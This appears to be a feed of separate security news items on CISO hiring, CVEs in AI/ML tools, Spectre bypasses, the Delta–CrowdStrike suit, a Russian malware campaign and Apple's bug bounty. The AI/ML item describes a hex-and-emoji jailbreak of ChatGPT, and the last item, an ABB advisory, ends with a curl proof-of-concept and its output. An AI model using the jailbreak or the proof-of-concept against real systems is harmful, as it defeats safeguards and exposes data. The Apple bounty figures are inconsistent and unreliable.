Great CISOs are in short supply, so choose wisely. Here are five ways to make sure you've made the right pick.

Source: Borka Kiss via Alamy Stock Photo

COMMENTARY

The artificial intelligence (AI) investment cycle we are currently in will drive new levels of cybersecurity risk in pretty much every organization, making the cybersecurity chief a CEO's most important current hire. Great chief information security officers (CISOs) — who blend technical, strategic, board-level communication, and leadership skills — are in high demand and short supply, and with technology constantly changing, the cybersecurity skill set is changing, too.  

**Attracting the Best**

How do CEOs, their executive teams, and their HR partners attract the best of the market? Here are a few ways.  

1\. Level and structure the role appropriately: If security — of enterprise data, customer information, or data right in the product itself — is so critical to your organization that one mishap can have a major impact on your revenues, then give the role some teeth. Don't bury it under IT operations, where you will attract a technologist, not a leader. Either have the CISO report to the chief information officer (who, in turn, should be reporting to the CEO given the critically of technology to your business) or make the CISO a CIO peer. If your security risk is less life threatening, and your CIO has depth in security, you can consider moving them down a layer. Is the CISO responsible for enterprise security or product security or both? Will the CISO have a small matrixed organization or a larger dedicated team?  While the right CISO will help you answer some of the questions, the more thoughtful you’ve been about these questions ahead of time, the better.  

2\. Educate your board: Public company boards do not yet fully understand their role in cyber governance. They often equate security to technology and tools rather than emphasizing the human behavior side of cyber incidents. While the board does not need to know the latest tools, they should understand what truly lies behind cyber incidents and how they should govern. By showing that you've primed the pump, and your CIO has been bringing the board up to speed on the risks and return of digital technologies, you are demonstrating a tech-savvy board. The market’s best CISO will see a savvy board as a requirement.  

3\. Think about both defensive and offensive tactics: The best CISOs will balance the defensive and offensive postures of information security. They will see the cyber role as both facilitating the growth of the business and securing it from cyber-risk. Show these rare birds that your board, executive committee, and CIO understand that technology must be a strategic advantage, not an unfortunate cost. Do your discussions about IT focus on expense only, or are your IT investments clearly aligned to your business value streams? Does your CEO talk in company meetings about how important technology is to the growth of the company? The quality of the CISO you can attract depends on our view of the impact of technology on your business.  

4\. Build and demonstrate a change management capability: People resist change, particularly if they do not perceive value in the change. Getting a large organization to follow security protocols takes a tremendous amount of adoption effort and change management. The better your organization is at driving the right behaviors in your employee base, the stronger your security program. During your candidate interviews, extoll the virtues of your change management team and your executive committee's understanding that good security is about culture, behaviors, education, and change. In fact, "change management" is quickly becoming the most important skill set of any technology leader, CISOs included.  

5\. Involve the board in the interview process: Actions speak louder than words, and a few board interviews will demonstrate to your CISO finalist that you and the board take cybersecurity seriously. It will also allow the CISO to assess his or her dynamic with the board. The board-CISO relationship is only going to be become more important, so getting an early read on that relationship will help ensure that it will work.   

With every dime we spend on AI, we produce risk. With every new Internet of Things (IoT) product we sell, we open a cybersecurity door. With every day that passes, our cyber foes are getting smarter. CEOs and their teams have a powerful weapon to fight these forces: the ability to attract the right CISO. While most companies have a head of security, these professionals are not all created equal. Some are "tool jockeys" who love technology but not people; then there are the CISOs with great regulatory knowledge but lacking great influencing skills. When you identify the right blend of technical, communication, and leadership skills, by showing your candidates know that you are serious about cybersecurity, you can make the right hire.  

**About the Author**

CEO, Heller Search

Martha Heller is a widely followed thought leader on technology leadership talent, and CEO of Heller Search, a premier technology executive search firm. Over the course of her career, Martha has become an authoritative voice on technology leadership and executive search. She has recruited hundreds of chief information officers (CIOs), chief technology officers (CTOs), architects, and other senior technology positions, and become a trusted adviser to executives around the country.

How to Find the Right CISO

Custom generative AI solutions have the potential to transform industries, equipping businesses to reach their goals with exceptional…

Custom generative AI solutions have the potential to transform industries, equipping businesses to reach their goals with exceptional efficiency and innovation. By leveraging generative AI (GenAI), organizations can boost productivity, streamline decision-making, and enhance operational efficiency. Additionally, generative AI software development plays a crucial role in expanding training datasets for machine learning models, thereby improving their precision and dependability.

****Key Advantages of Implementing Generative AI****

In machine learning, augmenting training datasets with Generative Adversarial Networks (GANs) or other generative models is a common approach. This technique is particularly beneficial when the existing dataset is limited or lacks adequate diversity.

****Expanding Data Diversity****

Generative AI assists in expanding the diversity of training datasets by creating new examples absent in the original data. This augmentation strengthens machine learning models by reducing overfitting and increasing their ability to adapt to different scenarios. Incorporating generative AI into training data allows businesses to develop more adaptable and robust models.

****Improving Data Quality****

Generative AI enhances the quality of training data by generating examples that better reflect real-world scenarios. This boost in quality contributes to the precision and dependability of machine learning models. By integrating generative AI in data preparation, organizations ensure their models are trained on data that mirrors real-world conditions.

****Streamlining Data Annotation****

Data annotation in machine learning is often a labor-intensive process. Generative AI software development simplifies this process by automating annotation, thereby saving time and reducing the resources needed for data preparation. This acceleration allows for faster deployment of machine learning models.

****Reducing Data Collection Costs****

Gathering and preparing extensive training data can be costly. By using generative AI to enhance training datasets, organizations can reduce the time and resources required for data collection and preparation. This cost efficiency makes it feasible for businesses of all sizes to build and maintain machine learning models.

****Generative AI for Dataset Enhancement****

Generative AI serves as a powerful tool for expanding and refining training datasets, significantly improving the performance of machine learning models. By diversifying and enhancing the quality of training data, businesses can build more accurate models equipped to tackle real-world challenges. The typical steps involved in dataset augmentation using generative AI include:

****Data Augmentation with GANs****

*   Training the GAN: Start by training a GAN on the existing dataset. A GAN consists of a generator that creates new samples and a discriminator that evaluates whether samples are real or synthetic.
*   Data Creation: Use the trained generator to produce additional synthetic samples with characteristics similar to the original data.

****Best Practices****

*   Validation Set: Ensure augmented data is excluded from the validation set to maintain an unbiased model evaluation.
*   Class Balance: Maintain class balance in classification tasks to avoid overrepresentation of any single class.
*   Domain Expertise: Generate synthetic samples that realistically reflect the data’s domain characteristics.

****Implementation****

*   Integrating Generative Models: Embed the generative model into the data pipeline for seamless data generation during training.
*   Using Libraries: Utilize popular machine learning libraries like TensorFlow or PyTorch that offer built-in functions for GANs and data augmentation.

****Evaluation****

*   Assessing Impact: Evaluate the effect of data augmentation by comparing model performance with and without the additional data.
*   Monitoring Performance: Regularly monitor the model’s training to detect any negative impacts from the augmented data.

In summary, custom generative AI tools are giving businesses new ways to work with data and improve machine learning. By helping expand and refine datasets, generative AI makes models more adaptable, reliable, and less costly to develop.

These tools make it easier for organizations to build high-quality models faster, making machine learning more accessible for businesses of all sizes. As companies use generative AI to enhance their data, they’re setting themselves up to solve real-world challenges more effectively.

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Augmenting Training Datasets Using Generative AI

A little over three dozen security vulnerabilities have been disclosed in various open-source artificial intelligence (AI) and machine learning (ML) models, some of which could lead to remote code execution and information theft.
The flaws, identified in tools like ChuanhuChatGPT, Lunary, and LocalAI, have been reported as part of Protect AI's Huntr bug bounty platform.
The most severe of the

AI Security / Vulnerability

A little over three dozen security vulnerabilities have been disclosed in various open-source artificial intelligence (AI) and machine learning (ML) models, some of which could lead to remote code execution and information theft.

The flaws, identified in tools like ChuanhuChatGPT, Lunary, and LocalAI, have been reported as part of Protect AI's Huntr bug bounty platform.

The most severe of the flaws are two shortcomings impacting Lunary, a production toolkit for large language models (LLMs) -

*   CVE-2024-7474 (CVSS score: 9.1) - An Insecure Direct Object Reference (IDOR) vulnerability that could allow an authenticated user to view or delete external users, resulting in unauthorized data access and potential data loss

*   CVE-2024-7475 (CVSS score: 9.1) - An improper access control vulnerability that allows an attacker to update the SAML configuration, thereby making it possible to log in as an unauthorized user and access sensitive information

Also discovered in Lunary is another IDOR vulnerability (CVE-2024-7473, CVSS score: 7.5) that permits a bad actor to update other users' prompts by manipulating a user-controlled parameter.

"An attacker logs in as User A and intercepts the request to update a prompt," Protect AI explained in an advisory. "By modifying the 'id' parameter in the request to the 'id' of a prompt belonging to User B, the attacker can update User B's prompt without authorization."

A third critical vulnerability concerns a path traversal flaw in ChuanhuChatGPT's user upload feature (CVE-2024-5982, CVSS score: 9.1) that could result in arbitrary code execution, directory creation, and exposure of sensitive data.

Two security flaws have also been identified in LocalAI, an open-source project that enables users to run self-hosted LLMs, potentially allowing malicious actors to execute arbitrary code by uploading a malicious configuration file (CVE-2024-6983, CVSS score: 8.8) and guess valid API keys by analyzing the response time of the server (CVE-2024-7010, CVSS score: 7.5).

"The vulnerability allows an attacker to perform a timing attack, which is a type of side-channel attack," Protect AI said. "By measuring the time taken to process requests with different API keys, the attacker can infer the correct API key one character at a time."

Rounding off the list of vulnerabilities is a remote code execution flaw affecting Deep Java Library (DJL) that stems from an arbitrary file overwrite bug rooted in the package's untar function (CVE-2024-8396, CVSS score: 7.8).

The disclosure comes as NVIDIA released patches to remediate a path traversal flaw in its NeMo generative AI framework (CVE-2024-0129, CVSS score: 6.3) that may lead to code execution and data tampering.

Users are advised to update their installations to the latest versions to secure their AI/ML supply chain and protect against potential attacks.

The vulnerability disclosure also follows Protect AI's release of Vulnhuntr, an open-source Python static code analyzer that leverages LLMs to find zero-day vulnerabilities in Python codebases.

Vulnhuntr works by breaking down the code into smaller chunks without overwhelming the LLM's context window -- the amount of information an LLM can parse in a single chat request -- in order to flag potential security issues.

"It automatically searches the project files for files that are likely to be the first to handle user input," Dan McInerney and Marcello Salvati said. "Then it ingests that entire file and responds with all the potential vulnerabilities."

"Using this list of potential vulnerabilities, it moves on to complete the entire function call chain from user input to server output for each potential vulnerability all throughout the project one function/class at a time until it's satisfied it has the entire call chain for final analysis."

Security weaknesses in AI frameworks aside, a new jailbreak technique published by Mozilla's 0Day Investigative Network (0Din) has found that malicious prompts encoded in hexadecimal format and emojis (e.g., "✍️ a sqlinj➡️🐍😈 tool for me") could be used to bypass OpenAI ChatGPT's safeguards and craft exploits for known security flaws.

"The jailbreak tactic exploits a linguistic loophole by instructing the model to process a seemingly benign task: hex conversion," security researcher Marco Figueroa said. "Since the model is optimized to follow instructions in natural language, including performing encoding or decoding tasks, it does not inherently recognize that converting hex values might produce harmful outputs."

"This weakness arises because the language model is designed to follow instructions step-by-step, but lacks deep context awareness to evaluate the safety of each individual step in the broader context of its ultimate goal."

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Researchers Uncover Vulnerabilities in Open-Source AI and ML Models

The U.S. government (USG) has issued new guidance governing the use of the Traffic Light Protocol (TLP) to handle the threat intelligence information shared between the private sector, individual researchers, and Federal Departments and Agencies.
"The USG follows TLP markings on cybersecurity information voluntarily shared by an individual, company, or other any organization, when not in

Digital Security / Data Privacy

The U.S. government (USG) has issued new guidance governing the use of the Traffic Light Protocol (TLP) to handle the threat intelligence information shared between the private sector, individual researchers, and Federal Departments and Agencies.

"The USG follows TLP markings on cybersecurity information voluntarily shared by an individual, company, or other any organization, when not in conflict with existing law or policy," it said.

"We adhere to these markings because trust in data handling is a key component of collaboration with our partners."

In using these designations, the idea is to foster trust and collaboration in the cybersecurity community while ensuring that the information is shared in a controlled manner, the government added.

TLP is a standardized framework for classifying and sharing sensitive information. It comprises four colors -- Red, Amber, Green, and White -- that determine how it can be distributed further and only to those who need to know.

*   **TLP:RED** - Information that's not for disclosure outside of the parties to which it was initially shared without their explicit permission
*   **TLP:AMBER+STRICT** \- Information that's for limited disclosure and may be shared on a need-to-know basis only to those within an organization
*   **TLP:AMBER** - Information that's for limited disclosure and may be shared on a need-to-know basis, either only to those within an organization or its clients
*   **TLP:GREEN** - Information that's for limited disclosure and may be shared with peers and partner organizations, but not via publicly accessible channels
*   **TLP:CLEAR** - Information that can be shared freely without any restrictions

"We already do so much work together as a cybersecurity community to achieve an affirmative, values-driven vision for a secure cyberspace that creates opportunities to achieve our collective aspirations," National Cyber Director Harry Coker, Jr. said in a statement.

"We hope that this guidance will help both our interagency and private sector partners clearly understand the immense respect we have for trusted information sharing channels – and that it will allow more of those partnerships to flourish."

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U.S. Government Issues New TLP Guidance for Cross-Sector Threat Intelligence Sharing

More than six years after the Spectre security flaw impacting modern CPU processors came to light, new research has found that the latest AMD and Intel processors are still susceptible to speculative execution attacks.
The attack, disclosed by ETH Zürich researchers Johannes Wikner and Kaveh Razavi, aims to undermine the Indirect Branch Predictor Barrier (IBPB) on x86 chips, a crucial mitigation

Hardware Security / Vulnerability

More than six years after the Spectre security flaw impacting modern CPU processors came to light, new research has found that the latest AMD and Intel processors are still susceptible to speculative execution attacks.

The attack, disclosed by ETH Zürich researchers Johannes Wikner and Kaveh Razavi, aims to undermine the Indirect Branch Predictor Barrier (IBPB) on x86 chips, a crucial mitigation against speculative execution attacks.

Speculative execution refers to a performance optimization feature wherein modern CPUs execute certain instructions out-of-order by predicting the branch a program will take beforehand, thus speeding up the task if the speculatively used value was correct.

If it results in a misprediction, the instructions, called transient, are declared invalid and squashed, before the processor can resume execution with the correct value.

While the execution results of transient instructions are not committed to the architectural program state, it's still possible for them to load certain sensitive data into a processor cache through a forced misprediction, thereby exposing it to a malicious adversary that would otherwise be blocked from accessing it.

Intel describes IBPB as an "indirect branch control mechanism that establishes a barrier, preventing software that executed before the barrier from controlling the predicted targets of indirect branches executed after the barrier on the same logical processor."

It's used as a way to help counter Branch Target Injection (BTI), aka Spectre v2 (CVE-2017-5715), a cross-domain transient execution attack (TEA) that takes advantage of indirect branch predictors used by processors to cause a disclosure gadget to be speculatively executed.

A disclosure gadget refers to the ability of an attacker to access a victim's secret that's otherwise not architecturally visible, and exfiltrate it over a covert channel.

The latest findings from ETH Zürich show that a microcode bug in Intel microarchitectures such as Golden Cove and Raptor Cove could be used to circumvent IBPB. The attack has been described as the first, practical "end-to-end cross-process Spectre leak."

The microcode flaw "retain\[s\] branch predictions such that they may still be used after IBPB should have invalidated them," the researchers said. "Such post-barrier speculation allows an attacker to bypass security boundaries imposed by process contexts and virtual machines."

AMD's variant of IBPB, the study discovered, can be similarly bypassed due to how IBPB is applied by the Linux kernel, resulting in an attack – codenamed Post-Barrier Inception (aka PB-Inception) – that enables an unprivileged adversary to leak privileged memory on AMD Zen 1(+) and Zen 2 processors.

Intel has made available a microcode patch to address the problem (CVE-2023-38575, CVSS score: 5.5). AMD, for its part, is tracking the vulnerability as CVE-2022-23824, according to an advisory released in November 2022.

"Intel users should make sure their intel-microcode is up to date," the researchers said. "AMD users should make sure to install kernel updates."

The disclosure comes months after ETH Zürich researchers detailed new RowHammer attack techniques codenamed ZenHammer and SpyHammer, the latter of which uses RowHammer to infer DRAM temperature with high accuracy.

"RowHammer is very sensitive to temperature variations, even if the variations are very small (e.g., ±1 °C)," the study said. "RowHammer-induced bit error rate consistently increases (or decreases) as the temperature increases, and some DRAM cells that are vulnerable to RowHammer exhibit bit errors only at a particular temperature."

By taking advantage of the correlation between RowHammer and temperature, an attacker could identify the utilization of a computer system and measure the ambient temperature. The attack could also compromise privacy by using temperature measurements to determine a person's habits within their home and the times when they enter or leave a room.

"SpyHammer is a simple and effective attack that can spy on temperature of critical systems with no modifications or prior knowledge about the victim system," the researchers noted.

"SpyHammer can be a potential threat to the security and privacy of systems until a definitive and completely-secure RowHammer defense mechanism is adopted, which is a large challenge given that RowHammer vulnerability continues to worsen with technology scaling."

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New Research Reveals Spectre Vulnerability Persists in Latest AMD and Intel Processors

Delta argues that it lost hundreds of million of dollars in downtime and other costs in the aftermath of the incident, while CrowdStrike says it isn't liable for more than $10 million.

Source: Francis Vachon via Alamy Stock Photo

UPDATE

Delta Air Lines is suing CrowdStrike to recover the $500 million in revenue it lost due to the CrowdStrike outage earlier this year, which led to an assortment of issues and disrupted businesses, airlines, healthcare providers, and more.

The cause of the infamous outage that occurred in July was a defective threat intelligence update for the CrowdStrike Falcon Sensor, a cloud-based endpoint detection and prevention software. After investigating the issue, CrowdStrike reported that its engineering team had discovered a bug in the memory scanning prevention policy, a flaw that was not identified during testing stages. That ultimately led to Microsoft servers displaying the "blue screen of death" across the world, and collective disarray in response.

At the time of the outage, Delta reported that it had to cancel thousands of flights — about 7,000 between July 19 and July 24 — affecting 1.3 million customers and prompting multiple class-action lawsuits.

In its Securities and Exchange Commission (SEC) filing, the airline estimated that recovery from the outage would cost around $170 million.

Now, the airline is seeking legal recourse to regain its lost funds, plus punitive damages for the outage.

**A Multimillion-Dollar Lawsuit Tests Cyber Liability**

Last week, Delta launched a formal complaint against CrowdStrike in a Georgia state court, arguing that the cybersecurity company failed to properly test the Falcon sensor update before deploying, leading to widespread disruption.

"CrowdStrike caused a global catastrophe because it cut corners, took shortcuts, and circumvented the very testing and certification processes it advertised, for its own benefit and profit," Delta said in the lawsuit, which was filed in Fulton County Superior Court in Georgia.

CrowdStrike, however, argues that Delta is operating with "misinformation" and is trying to shift blame for its notably slow recovery from the outage. 

"While we aimed to reach a business resolution that puts customers first, Delta has chosen a different path," a CrowdStrike spokesperson tells Dark Reading. "Delta's claims are based on disproven misinformation, demonstrate a lack of understanding of how modern cybersecurity works, and reflect a desperate attempt to shift blame for its slow recovery away from its failure to modernize its antiquated IT infrastructure."

Indeed, the US Department of Transportation is investigating why Delta took longer to recover from the outage compared with other air carriers. Pete Buttigieg, US transportation secretary, said he also would look into complaints regarding Delta's less-than-stellar customer service during the outage, which resulted in long waits for assistance and unaccompanied minors stranded at airports.

A CrowdStrike spokesperson told the Associated Press that CrowdStrike attempted to settle these disputes with Delta earlier this year; however, there are disagreements as to how much lost revenue CrowdStrike is liable for, with the security firm arguing that it is less than $10 million.

"We have filed for a declaratory judgment to make it clear that CrowdStrike did not cause the harm that Delta claims and they repeatedly refused assistance from both CrowdStrike and Microsoft," the CrowdStrike spokesperson adds. "Any claims of gross negligence and willful misconduct have no basis in fact."

This story was updated at 5:40 p.m. ET on Oct. 28 to reflect comments from CrowdStrike.

Delta Launches $500M Lawsuit Against CrowdStrike

Posing as an application used to locate Ukrainian military recruiters, a Kremlin-backed hacking initiative delivers malware, along with disinformation designed to undermine sign-ups for soldiers in the war against Russia.

Bumble Dee Via Alamy Stock Photo

Ukrainian efforts to recruit new soldiers to serve in its military in the country's war against Russia is under a two-pronged cyberattack by Kremlin-backed threat actors.

Researchers at Google's Threat Intelligence Group (TAG) and Mandiant have tracked down an active campaign that uses a spoofed version of the legitimate Ukrainian-language tool "Civil Defense," a crowdsourced mapping tool used to locate military recruiters. Attackers are using the fake version to perform dual malicious actions — dropping malware and delivering misinformation.

The hybrid op, which researchers named UNC5812, uses a Telegram channel to lure perspective recruits to a download the malicious version of "Civil Defense" from a spoofed site, outside of the confines of Google Play. Once downloaded, the application drops Windows and Android malware.

**Russian Opp Uses Malware With a Side of Social Engineering**

Windows users who make their way to the fake "Civil Defense" site to download the tool will be delivered the Pronsis Loader, which then starts a chain to deliver a malicious mapping application called Sunspinner, as well as an infostealer called Purestealer.

Android users, on the other hand, get a common user backdoor called Craxsrat, in addition to Sunspinner.

"Notably, the Civil Defense website also contains an unconventional form of social engineering designed to preempt user suspicions about APK delivery outside of the App Store and justify the extensive permissions required for the Craxsrat installation," the report noted. "The website's FAQ contains a strained justification for the Android application being hosted outside the App Store, suggesting it is an effort to 'protect the anonymity and security' of its users, and directing them to a set of accompanying video instructions."

The video also provides instructions on how to disable Google Play Protect.

"While the Civil Defense website also advertises support for macOS and iPhones, only Windows and Android payloads were available at the time of analysis," the report said.

Sunspinner, a decoy graphical user interface (GUI) application written using the Flutter framework, offers functionality aimed to convince victims that the application is legitimate.

"Consistent with the functionality advertised on the \[legitimate\] Civil Defense website, Sunspinner is capable of displaying crowdsourced markers with the locations of the Ukrainian military recruiters, with an option for users to add their own markers," according to the Google TAG analysis. But the fake map offers only fake locations: "However, despite possessing the limited functionality required for users to register and add markers, the displayed map does not appear to have any genuine user inputs. All markers present \[were pulled from the attacker's C2 and\] were added on the same day by the same user."

**Parallel Anti-Mobilization Effort Against Ukrainian Military**

In tandem with the espionage effort, the other goal of the Russian fake Civil Defense campaign is to deliver disinformation aimed at suppressing Ukraine's military mobilization effort for the war. The malicious versions of Civil Defense's site and Telegram have pushed out videos with incendiary, anti-Ukrainian-military titles like, "Unfair Actions From Territorial Recruitment Centers," the TAG Mandiant report added.

Users who click on the button provided by the Russian hacker-operated site to "Send Material," ostensibly to discredit recruitment efforts, are automatically fed an attacker-controlled chat thread," the report said. "Anti-mobilization content cross-posted to the group's website and Telegram channel appears to be sourced from wider pro-Russian social media ecosystems. In at least one instance, a video shared by UNC5812 was shared a day later by the Russian Embassy in South Africa's X account."

Russia has consistently used cyberattacks as part of its war strategy against Ukraine, as well as against other governments, including a recent distributed denial-of-service (DDoS) cyberattack campaign against shipping ports in Japan. Russian hackers have also been working feverishly to distribute disinformation ahead of the US 2024 election. The threat group currently understood to be most actively, and directly, supporting Russian military activities in Ukraine is Sandworm, but, as this newly uncovered "Civilian Defense" campaign highlights, that's just one of many hacker groups doing the Kremlin's dirty work in cyberspace.

Russia Kneecaps Ukraine Army Recruitment With Spoofed 'Civil Defense' App

Apple unveils ‘Apple Intelligence’ for iPhone, iPad, and Mac devices while offering a $1 million bug bounty for…

Apple unveils ‘Apple Intelligence’ for iPhone, iPad, and Mac devices while offering a $1 million bug bounty for cybersecurity experts to find flaws in its Private Cloud Compute servers, enhancing privacy and AI security on iOS and macOS.

Apple today unveiled its highly anticipated AI-powered service, Apple Intelligence for iPhone, iPad, and Mac. This service, set to arrive with iOS 18.1, iPadOS 18.1, and macOS Sequoia 15.1, combines on-device processing with powerful cloud-based computing to handle complex AI tasks.

A preview of writing tools powered by Apple Intelligence

To ensure the security of these cloud-based systems, Apple has introduced a comprehensive bug bounty program. The tech giant is offering a reward of up to $1 million to security researchers who can successfully identify and exploit vulnerabilities in its “Private Cloud Compute” servers.

These servers, specifically designed for Apple Intelligence, are responsible for processing intensive AI tasks that cannot be handled by individual devices. This initiative is designed to strengthen the security of the Private Cloud Compute (PCC) servers that will underpin this service. The PCC servers, which will handle certain AI-powered tasks, are a critical component of Apple Intelligence. 

“We believe Private Cloud Compute is the most advanced security architecture ever deployed for cloud AI compute at scale, and we look forward to working with the research community to build trust in the system and make it even more secure and private over time,” Apple stated in its official statement.

Apple has taken significant steps to prioritize user privacy and security. To further strengthen trust, Apple has also opened up a Virtual Research Environment (VRE) to researchers and security enthusiasts.

The VRE provides access to the PCC software, allowing individuals to scrutinize its code and identify potential vulnerabilities. This allows them to scrutinize the system’s security measures and identify potential weaknesses.

The iPhone maker has also published a comprehensive security guide, detailing the intricacies of PCC’s security architecture and how it protects user data. This guide, coupled with the VRE, provides a robust platform for security researchers to delve deep into the system and uncover potential weaknesses.

The program offers a range of rewards, including $50,000 for accidental or unexpected data disclosure, $100,000 for uncertified code execution, $150,000 for access to user request data or sensitive information outside the trust boundary, and $250,000.

Additionally, $1,000 for arbitrary code execution without user permission or knowledge. Apple also promises to consider awarding money for any security issue that significantly impacts PCC, even if it doesn’t match a published category. 

By offering a substantial reward for critical vulnerabilities, Apple is encouraging the global cybersecurity community to contribute to the security of its AI infrastructure. The company is particularly interested in vulnerabilities that could compromise user data, execute code without permission, or exploit system design flaws.

By inviting the security community to scrutinize its infrastructure, Apple is also showing a commitment to transparency and security. To learn more about Apple Bug Bounty Program visit this link.

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Apple Launches ‘Apple Intelligence’ and Offers $1M Bug Bounty for Security

There is a whole ecosystem behind the sales and distribution of counterfeit goods. Best to tay away from them.

With the holidays around the bend, many are looking for gifts for their family and friends. And since we somehow decided we want to give more each time, we’re also looking for good deals.

But European law enforcement agency Europol issued a warning about buying fake goods. Sure, they are cheaper, but they do come with a dark side.

According to Europol’s report titled “Uncovering the ecosystem of intellectual property crime, ”approximately 86 million fake items were seized in the European Union (EU) in 2022 alone, with an estimated total value exceeding EUR 2 billion (US$ 2.1 billion).

Not only does this ecosystem provide buyers with substandard goods, it also enables crimes like intellectual property (IP) crime, cybercrime, money laundering, and environmental crime.

Intellectual property is what drives innovation. Criminals don’t come up with new inventions, they just create cheap copies of popular items without regards for safety of the product, working conditions, or environmental regulations. The only thing counterfeiters are innovating are ways to exploit consumer demand for counterfeit and pirated goods.

The report states:

> “The rise of social media, influencers and online commerce have changed consumers’ behavior, increasing their appetite for IP infringing goods or content, while having a low awareness of risks.”

Criminals fully abuse the social media platform algorithms that reach potential buyers using customized ads that speak to their personal interests and preferences. These are often removed after automated reviews.

So, there is another critical role in advertising counterfeit goods, which are influencers. Through their channels, influencers may direct customers to product listings on online stores that evade security protocols about counterfeit adverts.

By buying counterfeit goods you are also unwittingly enabling cybercriminals that are engaged in fraud, corruption, labor exploitation, environmental crime, money laundering, and cybercrime.

On the other hand, the risks of getting caught and the relatively low penalties make IP crime a low-risk, high-benefit criminal activity.

Consumers, however, are not always aware of the fact they are buying counterfeit goods. As sophisticated technologies are used to replicate holograms, logos, and packaging, unaware consumers are more likely than ever to be deceived, and recognizing counterfeit items has become a task that requires specific knowledge and an expert eye.

**How to avoid counterfeit goods**

Nonetheless, there are a few pointers to be given on how to avoid buying counterfeit goods.

*   Where possible, buy from the brand’s own store. When that’s not an option look for authorized retailers. Many brands publish lists of authorized sellers on their websites. And some of the larger webstores use “Authenticity Guarantee” badges on their listings.
*   When it comes to pricing, follow the old saying: “If it’s too good to be true, it probably is.”
*   A legitimate webstore should have contact information, look professional, and specify consumer rights.
*   Review advertisements on social media, influencer channels, and chat platforms with a little bit of extra caution.
*   Look for consumer reviews. Interestingly, it could be a red flag if the reviews of the product and company are universally bad—or if there are no bad reviews at all.

If you’re not completely sure about the product or the website, at least make sure to use a secured payment page and preferably use your credit card, in case you need to recover your money.

If you have bought a counterfeit product:

*   Stop and think before you use it, to consider whether it is safe to use. The materials used for production are likely to be sub-standard and could pose a risk to your health.
*   Report it to the platform where you made the purchase and to the legitimate brand.
*   Report it to the proper authorities.

Use Malwarebytes Browser Guard to block advertisements, scams, and trackers. It’s a free browser extension for Chrome, Firefox, Edge, and Safari.

 Europol warns about counterfeit goods and the criminals behind them 

ABB Cylon Aspect version 3.08.01 suffers from an unauthenticated building/project name exposure vulnerability.

**ABB Cylon Aspect 3.08.01 getApplicationNamesJS.php Building/Project Name Exposure**

    ABB Cylon Aspect 3.08.01 (getApplicationNamesJS.php) Building/Project Name ExposureVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The building management system suffers from an unauthenticated building/projectname exposure.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5850Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5850.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                                     ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                                                                                                                                              $ curl http://192.168.73.31/getApplicationNamesJS.phpvar instanceDirectory=["1":"OOU KrstePMisirkov_Kumanovo"];

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#intel